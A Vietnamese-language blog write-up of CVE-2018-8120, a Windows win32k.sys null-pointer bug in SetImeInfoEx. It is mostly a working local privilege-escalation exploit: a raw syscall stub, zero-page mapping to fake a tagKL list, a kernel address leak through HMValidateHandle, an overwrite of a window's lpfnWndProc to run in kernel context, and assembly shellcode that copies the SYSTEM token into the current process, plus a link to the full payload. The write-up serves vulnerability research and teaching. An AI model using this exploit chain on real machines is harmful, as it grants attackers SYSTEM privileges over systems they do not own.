# Phần 1: Giới thiệu về lỗ hổng
- Là một lỗi leo quyền được tìm ra bằng cách diff code giữa các bản cập nhật với nhau. Tác giả phát hiện ra 1 chỗ kiểm tra giá trị null đầu vào trong module *win32k.sys*
```cpp
if ( winSta && (pklFirst = winSta->spklList) != 0 ){
......
}
```
- A window station object là một đối tượng an toàn, chứa một bảng tạm, bảng nguyên tử và một hoặc nhiều đối tượng desktop objects. Mỗi window station object tồn tại trong kernel có cấu trúc **tagWINDOWSTATION**
```cpp
kd> dt win32k!tagWINDOWSTATION
+0x000 dwSessionId : Uint4B
+0x004 rpwinstaNext : Ptr32 tagWINDOWSTATION
+0x008 rpdeskList : Ptr32 tagDESKTOP
+0x00c pTerm : Ptr32 tagTERMINAL
+0x010 dwWSF_Flags : Uint4B
+0x014 spklList : Ptr32 tagKL
+0x018 ptiClipLock : Ptr32 tagTHREADINFO
+0x01c ptiDrawingClipboard : Ptr32 tagTHREADINFO
+0x020 spwndClipOpen : Ptr32 tagWND
+0x024 spwndClipViewer : Ptr32 tagWND
+0x028 spwndClipOwner : Ptr32 tagWND
+0x02c pClipBase : Ptr32 tagCLIP
+0x030 cNumClipFormats : Uint4B
+0x034 iClipSerialNumber : Uint4B
+0x038 iClipSequenceNumber : Uint4B
+0x03c spwndClipboardListener : Ptr32 tagWND
+0x040 pGlobalAtomTable : Ptr32 Void
+0x044 luidEndSession : _LUID
+0x04c luidUser : _LUID
+0x054 psidUser : Ptr32 Void
```
*Definition of structure tagWINDOWSTATION*
- Trường ```spklList``` là một con trỏ tới nút đầu tiên của associated keyboard layout ```tagKL``` object linked list có cấu trúc như sau:
```cpp
kd> dt win32k!tagKL
+0x000 head : _HEAD
+0x008 pklNext : Ptr32 tagKL
+0x00c pklPrev : Ptr32 tagKL
+0x010 dwKL_Flags : Uint4B
+0x014 hkl : Ptr32 HKL__
+0x018 spkf : Ptr32 tagKBDFILE
+0x01c spkfPrimary : Ptr32 tagKBDFILE
+0x020 dwFontSigs : Uint4B
+0x024 iBaseCharset : Uint4B
+0x028 CodePage : Uint2B
+0x02a wchDiacritic : Wchar
+0x02c piiex : Ptr32 tagIMEINFOEX
+0x030 uNumTbl : Uint4B
+0x034 pspkfExtra : Ptr32 Ptr32 tagKBDFILE
+0x038 dwLastKbdType : Uint4B
+0x03c dwLastKbdSubType : Uint4B
+0x040 dwKLID : Uint4B
```
*Definition of structure tagKL*
- Trường ```piiex``` của structure ```tagKL``` trỏ tới associated extended IME information object. Trường này sẽ được sẽ dụng trong đoạn khai thác.
# Phần 2: Phân tích lỗi
- Để gọi để hãm bị lỗi thì sử dụng systemcall 0x1226 và hàm **NtUserSetImeInfoEx** sẽ được gọi lên. Sau đó hàm là hàm **SetImeInfoEx**.
## Giới thiệu 2 hàm chính
### Hàm **NtUserSetImeInfoEx**
```cpp
if ( *(_BYTE *)gpsi & 4 )
{
ms_exc.registration.TryLevel = 0;
v2 = imeInfoEx;
if ( (unsigned int)imeInfoEx >= W32UserProbeAddress )
v2 = (tagIMEINFOEX *)W32UserProbeAddress;
v3 = (char)v2->hkl;
qmemcpy(&v6, imeInfoEx, 0x15Cu);
ms_exc.registration.TryLevel = -2;
v4 = _GetProcessWindowStation(0);
bReturn = SetImeInfoEx(v4, &v6);
}
```
- Đầu vào của hàm là dạng **tagIMEINFOEX**
```cpp
kd> dt win32k!tagIMEINFOEX
+0x000 hkl : Ptr32 HKL__
+0x004 ImeInfo : tagIMEINFO
+0x020 wszUIClass : [16] Wchar
+0x040 fdwInitConvMode : Uint4B
+0x044 fInitOpen : Int4B
+0x048 fLoadFlag : Int4B
+0x04c dwProdVersion : Uint4B
+0x050 dwImeWinVersion : Uint4B
+0x054 wszImeDescription : [50] Wchar
+0x0b8 wszImeFile : [80] Wchar
+0x158 fSysWow64Only : Pos 0, 1 Bit
+0x158 fCUASLayer : Pos 1, 1 Bit
```
- Đầu tiên Window Station hiện tại sẽ được lấy thông qua hàm **_GetProcessWindowStation** sau đó truyền vào cho hàm **SetImeInfoEx** và bắt đầu lỗi.
### Hàm **SetImeInfoEx**
```cpp
BOOL __stdcall SetImeInfoEx(tagWINDOWSTATION *winSta, tagIMEINFOEX *imeInfoEx)
{
[...]
if ( winSta ) <------ đoạn code chưa được sửa
{
pkl = winSta->spklList; <------ đoạn bắt đầu lỗi
while ( pkl->hkl != imeInfoEx->hkl )
{
pkl = pkl->pklNext;
if ( pkl == winSta->spklList )
return 0;
}
piiex = pkl->piiex;
if ( !piiex )
return 0;
if ( !piiex->fLoadFlag )
qmemcpy(piiex, imeInfoEx, sizeof(tagIMEINFOEX));
bReturn = 1;
}
return bReturn;
}
```
- Lỗi bắt đầu phát sinh tại dòng thứ 6 khi **winSta->spklList = null** nó dẫn đến **pkl** nhận giá trị 0. Đây là lỗi rất nguy hiểm và dẫn đến toàn bộ quá trình khai thác phía sau.
## Phân tích
- Tuy tham số đầu vào của hàm **NtUserSetImeInfoEx** hoàn toàn do phía user gửi lên. Nhưng ta chỉ có thể thông qua một số api có sẵn. Ví dụ như ta phải sử dụng 2 hàm **CreateWindowStationW** **SetProcessWindowStation** để tạo 1 windows station để cho **NtUserSetImeInfoEx** có thể nhận được. Nên ta hoàn toàn không thể chỉnh sửa gì trong này để thao tác tùy ý được.
- Nhưng vấn đề ở đây là lỗi null làm cho chường **pkl** = 0. Nghĩa là trường **pkl->hkl** có địa chỉ = 0 + [offset của hkl] --> Nếu ta tạo một vùng nhớ có địa chỉ bắt đầu từ 0 bằng hàm **NtAllocateVirtualMemory** thì các giá trị trong các đoạn so sánh và copy sẽ do ta chỉnh sửa dẫn đến hoàn toàn có thể điều khiển được các đoạn lệnh phía sau. Đồng nghĩa với việc ta có thể thay đổi được giá trị của **piiex** và **piiex->fLoadFlag** do nằm trong **pkl** nên ta sẽ có quyền ghi tùy ý.
# Khai thác
## Đạt tới đoạn code lỗi
### Bước 1: Tạo windows station và trường spkList là null
```cpp
SECURITY_ATTRIBUTES sa = { 0 };
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
hWinStat = CreateWindowStationW(NULL, CWF_CREATE_ONLY, WINSTA_ALL_ACCESS, &sa);
SetProcessWindowStation(hWinStat);
```
- Kết quả
```cpp
kd> dt win32k!tagWINDOWSTATION 85dfefa8
+0x000 dwSessionId : 1
+0x004 rpwinstaNext : (null)
+0x008 rpdeskList : (null)
+0x00c pTerm : 0x94b0eb80 tagTERMINAL
+0x010 dwWSF_Flags : 4
+0x014 spklList : (null)
[...]
```
### Bước 2: tạo system call tới hàm **NtUserSetImeInfoEx** và gọi tới nó với tham số có dạng 1 **tagIMEINFOEX**
```cpp
BOOL __declspec(naked)
xxNtUserSetImeInfoEx(tagIMEINFOEX *imeInfoEx)
{
__asm { mov eax, 1226h };
__asm { lea edx, [esp + 4] };
__asm { int 2eh };
__asm { ret };
}
```
```cpp
tagIMEINFOEX iiFaked = { 0 };
bReturn = xxNtUserSetImeInfoEx(&iiFaked);
```
- Kết quả là trường **spklList** = null và sử dụng vùng địa chỉ bắt đầu từ 0 để tính toán
```cpp
Access violation - code c0000005 (!!! second chance !!!)
win32k!SetImeInfoEx+0x17:
9490007c 395014 cmp dword ptr [eax+14h],edx
kd> r eax
eax=00000000
kd> k
# ChildEBP RetAddr
00 98a1ba90 9490003d win32k!SetImeInfoEx+0x17
01 98a1bc28 83e471ea win32k!NtUserSetImeInfoEx+0x65
02 98a1bc28 0016f2eb nt!KiFastCallEntry+0x12a
03 3378fbf4 0016f4c5 TempDemo!xxNtUserSetImeInfoEx+0xb
04 3378fdfc 0016f1ca TempDemo!xxTrackExploitEx+0x155
```
## Ghi tùy ý
- Như đã được phân tích ở trên thì bây giờ ta sẽ khởi tạo một vùng nhớ zero page bằng hàm ```NtAllocateVirtualMemory```
```cpp
PVOID MemAddr = (PVOID)1;
SIZE_T MemSize = 0x1000;
NtAllocateVirtualMemory(GetCurrentProcess(),
&MemAddr,
0,
&MemSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
ZeroMemory(MemAddr, MemSize);
```
- Ta sử dụng hàm ```qmemcpy``` để ghi tùy ý. Với biến ```piiex``` ta có thể thay đổi được do lỗi null poiter. Ta sẽ ghi giá trị vào các vùng này với các offset tương ứng với các biến ta muốn thay đổi
```cpp
if ( !piiex->fLoadFlag )
qmemcpy(piiex, imeInfoEx, sizeof(tagIMEINFOEX));
```
```cpp
DWORD *klFaked = (DWORD *)0;
klFaked[0x02] = (DWORD)klFaked; // tagKL->pklNext
klFaked[0x03] = (DWORD)klFaked; // tagKL->pklPrev
klFaked[0x05] = (DWORD)iiFaked.hkl; // tagKL->hkl
klFaked[0x0B] = (DWORD)0xCCCCCCCC; // tagKL->piiex
```
- Tới đây thì khi thực thi thì sẽ bị crash do địa chỉ 0xCCCCCCCC chưa được cấp phát
<image src="https://github.com/KamasuOri/Research/blob/master/CVE-2018-8120/imagedebug/1.PNG">
## Thực thi tùy ý
- Ý tưởng là ghi đè vào trường con trỏ ```lpfnWndProc``` của target window ```tagWND``` object.
- Cách thực hiện như sau:
### Bước 1: tạo một ``` window object``` mới, leak địa chỉ kernel của nó (được nói ở phần sau) sửa vào trường ```piiex``` và chạy đến đoạn ```qmemcpy```
- Một chú ý là để có thể qua được hàm kiểm tra ```if ( !piiex->fLoadFlag )``` thì ta ```tagWND``` mà ta tạo phải có offset 0x48 có giá trị bằng 0
<image src="https://github.com/KamasuOri/Research/blob/master/CVE-2018-8120/imagedebug/2.PNG">
Để làm được điều này thì ta dùng tham số ```WS_CLIPCHILDREN | WS_CLIPSIBLINGS | WS_POPUP``` cho hàm tạo windows object
```cpp
WNDCLASSEXW wc = { 0 };
wc.cbSize = sizeof(WNDCLASSEXW);
wc.lpfnWndProc = DefWindowProcW;
wc.cbWndExtra = 0x100;
wc.hInstance = GetModuleHandleA(NULL);
wc.lpszMenuName = NULL;
wc.lpszClassName = L"WNDCLASSHUNT";
RegisterClassExW(&wc);
hwndHunt = CreateWindowExW(WS_EX_LEFT, L"WNDCLASSHUNT",
NULL,
WS_CLIPCHILDREN | WS_CLIPSIBLINGS | WS_POPUP,
0,
0,
0,
0,
NULL,
NULL,
GetModuleHandleA(NULL),
NULL);
```
### bước 2: chuẩn bị nguồn ```tagIMEINFOEX ``` để ghi vào ```tagWND``` ở trên
- Một lưu ý quan trọng là ta phải tạo ```tagIMEINFOEX ``` sao cho giống một ```tagWND``` chỉ sửa 2 chỗ. Đầu tiên đó là flag bit ```bServerSideWindowProc ``` (xác định xem message procedure có được thực thi trong ngữ cảnh kernel không). Thứ 2 là sửa lpfnWndProc tới đoạn mã độc
```cpp
CopyMemory(&iiFaked, (PBYTE)head, sizeof(tagIMEINFOEX));
*(DWORD*)((PBYTE)& iiFaked + 0x14) |= (DWORD)0x40000; //->bServerSideWindowProc
*(DWORD*)((PBYTE)& iiFaked + 0x60) = (DWORD)pvShellCode->pfnWindProc; //->lpfnWndProc
```
## Leak giá trị
- Trong ```user32``` module, system cung cấp hàm ẩn ```HMValidateHandle``` để lấy dữ liệu của user objects và không dùng trực tiếp được. Hàm này được một hàm duy nhất gọi tới là hàm ```IsMenu```. Vậy ta có thể tính toán địa chỉ của hàm ```HMValidateHandle``` từ hàm ```IsMenu```
```cpp
.text:76D76F0E 8B FF mov edi, edi
.text:76D76F10 55 push ebp
.text:76D76F11 8B EC mov ebp, esp
.text:76D76F13 8B 4D 08 mov ecx, [ebp+hMenu]
.text:76D76F16 B2 02 mov dl, 2
.text:76D76F18 E8 73 5B FE FF call @HMValidateHandle@8 ; HMValidateHandle(x,x)
.text:76D76F1D F7 D8 neg eax
.text:76D76F1F 1B C0 sbb eax, eax
.text:76D76F21 F7 D8 neg eax
.text:76D76F23 5D pop ebp
.text:76D76F24 C2 04 00 retn 4
```
*Hàm ismenu*
- Ta chỉ cần lọc đến đoạn nào có byte B2 02 e8:
```cpp
xxGetHMValidateHandle(VOID)
{
HMODULE hModule = LoadLibraryA("USER32.DLL");
PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu");
PBYTE Address = NULL;
for (INT i = 0; i < 0x30; i++)
{
if (*(WORD*)(i + pfnIsMenu) != 0x02B2)
{
continue;
}
i += 2;
if (*(BYTE*)(i + pfnIsMenu) != 0xE8)
{
continue;
}
Address = *(DWORD*)(i + pfnIsMenu + 1) + pfnIsMenu;
Address = Address + i + 5;
pfnHMValidateHandle = (PVOID(__fastcall*)(HANDLE, BYTE))Address;
break;
}
}
```
```cpp
PTHRDESKHEAD head = (PTHRDESKHEAD)xxHMValidateHandle(hwndHunt);
```
- Khí lấy kernel address của carrier window ```tagWND``` bởi ```HMValidateHandle``` cấu trúc của nó dạng ```THRDESKHEAD``` member structure object:
```cpp
kd> dt win32k!_THRDESKHEAD
+0x000 h : Ptr32 Void
+0x004 cLockObj : Uint4B
+0x008 pti : Ptr32 tagTHREADINFO
+0x00c rpdesk : Ptr32 tagDESKTOP
+0x010 pSelf : Ptr32 UChar
```
- Trường ```pSelf``` trỏ tới kernel address nên ta sẽ lấy giá trị này để thế vào vị trí của ```piiex```
```cpp
DWORD* klFaked = (DWORD*)MemAddr;
klFaked[0x02] = (DWORD)klFaked; // tagKL->pklNext
klFaked[0x03] = (DWORD)klFaked; // tagKL->pklPrev
klFaked[0x05] = (DWORD)iiFaked.hkl; // tagKL->hkl
klFaked[0x0B] = (DWORD)head->pSelf; // tagKL->piiex <<<<<-----
```
- Tới bước này khi chạy chương trình thì ta sẽ có một windows object chưa mã độc ở trường ```lpfnWndProc``` bây giờ ta chỉ cần gửi một tin nhắn vào windows object đó thì mã độc sẽ được thực thi.
## Leo quyền
- Bây giờ ta cần thiết kế 1 đoạn mã để có thể thực hiện leo quyền. Về cơ bản thì đoạn mã sẽ thực hiện các bước sau
### Bước 1: khởi tạo, lưu giá trị ban đầu
```cpp
__asm push ebp;
__asm mov ebp, esp;
__asm mov eax, dword ptr[ebp + 0Ch];
__asm cmp eax, 9F9Fh;
__asm jne LocRETURN;
__asm mov ax, cs;
__asm cmp ax, 1Bh;
__asm je LocRETURN;
__asm cld;
__asm pushad;
__asm call $ + 5;
__asm pop edx;
__asm sub edx, 35h;
```
### Bước 2: tìm ``` EPROCESS``` của tiến trình hiện tại
```cpp
LocGetEPROCESS:
__asm mov ecx, dword ptr[ebp + 8];
__asm mov ecx, dword ptr[ecx + 8];
__asm mov ebx, dword ptr[edx + 08h];
__asm mov ecx, dword ptr[ebx + ecx];
__asm mov ecx, dword ptr[ecx];
__asm mov ebx, dword ptr[edx + 0Ch];
__asm mov eax, dword ptr[edx + 4];
__asm push ecx;
LocForCurrentPROCESS:
__asm cmp dword ptr[ebx + ecx - 4], eax;
__asm je LocFoundCURRENT;
__asm mov ecx, dword ptr[ebx + ecx];
__asm sub ecx, ebx;
__asm jmp LocForCurrentPROCESS;
LocFoundCURRENT:
__asm mov edi, ecx;
__asm pop ecx;
```
### Bước 3: tìm ``` EPROCESS``` của tiến trình có quyền cao hơn và ghi đè trường ```token``` để leo quyền
```cpp
LocForSystemPROCESS:
__asm cmp dword ptr[ebx + ecx - 4], 4;
__asm je LocFoundSYSTEM;
__asm mov ecx, dword ptr[ebx + ecx];
__asm sub ecx, ebx;
__asm jmp LocForSystemPROCESS;
LocFoundSYSTEM:
__asm mov esi, ecx;
__asm mov eax, dword ptr[edx + 10h];
__asm add esi, eax;
__asm add edi, eax;
__asm lods dword ptr[esi];
__asm stos dword ptr es : [edi] ;
__asm and eax, 0FFFFFFF8h;
__asm add dword ptr[eax - 18h], 2;
__asm mov dword ptr[edx + 14h], 1;
__asm popad;
__asm xor eax, eax;
```
### Bước 4: gọi một tiến trình cmn lên và kiểm tra quyền
- <image src="https://github.com/KamasuOri/Research/blob/master/CVE-2018-8120/imagedebug/3.PNG">
# Tham khảo
- Payload [link](https://github.com/KamasuOri/Research/blob/master/CVE-2018-8120/Source.cpp)
- Window Stations [link](https://docs.microsoft.com/vi-vn/windows/desktop/winstation/window-stations)
- Phân tích CVE-2018-8120 [link](https://xiaodaozhi.com/exploit/156.html)
- Shellcode [link](https://xiaodaozhi.com/exploit/132.html)
- Leak kernel address [link](https://xiaodaozhi.com/exploit/117.html)
Không có nhận xét nào:
Đăng nhận xét